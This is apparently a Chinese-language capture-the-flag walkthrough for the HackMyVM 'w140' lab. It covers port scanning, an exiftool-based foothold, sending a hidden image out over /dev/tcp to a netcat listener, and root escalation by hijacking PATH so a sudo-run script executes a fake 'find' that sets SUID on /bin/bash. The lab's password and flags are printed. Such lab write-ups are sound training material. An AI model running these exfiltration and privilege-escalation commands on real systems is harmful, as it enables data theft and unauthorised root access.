hmv.w140

信息搜集

主机扫描

arp-scan -l

端口扫描

┌──(root㉿kali)-[~]
└─# nmap -sV -p- -Pn  192.168.56.158
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-28 03:52 EDT
Nmap scan report for 192.168.56.158
Host is up (0.00028s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
MAC Address: 08:00:27:EA:A7:DE (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.52 seconds

路径扫描

在网站发现了一个可上传文件页面,我第一时间想的是上传一句话木马,无果,不存在解析漏洞,看了567师傅的视频,发现竟然和储存页面,显示文件信息的关系有关,属实稀奇,第一次见这种(菜

基于exiftool的版本漏洞,来进行攻击

拿取shell

在www目录下发现一个隐藏图片,肯定大作用

靶机:
cat .w140.png > /dev/tcp/kali ip/port
kali:
nc -lp port

获得图片,是一个二维码

在我信息搜集时,发现有一个ghost用户,八成是密码了

password:BaoeCblP5KGJDmA 

成功切换ghost

得到user.txt:61f1157a5b8f5a4b6729367098fcb2a4

提权

sudo -l

Matching Defaults entries for ghost on w140:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ghost may run the following commands on w140:
    (root) SETENV: NOPASSWD: /opt/Benz-w140

我们发现存在可执行的root命令,查看内容

#!/bin/bash
. /opt/.bashre
cd /home/ghost/w140      

# clean up log files
if [ -s log/w140.log ] && ! [ -L log/w140.log ]
then
/bin/cat log/w140.log > log/w140.log.old
/usr/bin/truncate -s@ log/w140.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

我逐步解释一下:

  1. 首先,开始我以为要写一个bash在图片里,但思来想去,不对,脚本结尾时为目录的图片加root,但是呢不是我想要的,我想要的是suid权限
  2. 所以根据师傅的提示,需要用到find+路径劫持,因为像cat,truncate命令路径已经规定死了,想要路径劫持,显然是不可能的,所以,find正好合适,既没有规定好路径,又有root权限,那么我们伪造一个find,为bash加上suid位,从而提权
payload:
echo "chmod +s /bin/bash" > find
sudo PATH=/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games /opt/Benz-w140 
echo $PATH 
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
 

详细解释一下payload:

  1. 首先给/bin/bash加suid位
  2. 其次路径劫持,将文件,提前执行我们的find命令,从而触发内容的命令,成功获取root权限
  3. 最后我最想说的一件事,本身$PATH的路径是没有变的,只是临时改变,意思是只在当前会话中有效,本身PATH没有改变,

root.txt:2f9f7d1b4a6ae9d6bbbaf6298c5dcc25

知识点:

1.关于secure_path和PATH的区别

  • secure_path 只影响使用 sudo 命令时的命令搜索路径。
  • PATH 影响系统中所有用户的命令搜索路径。

2.PATH路径劫持

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注

退出移动版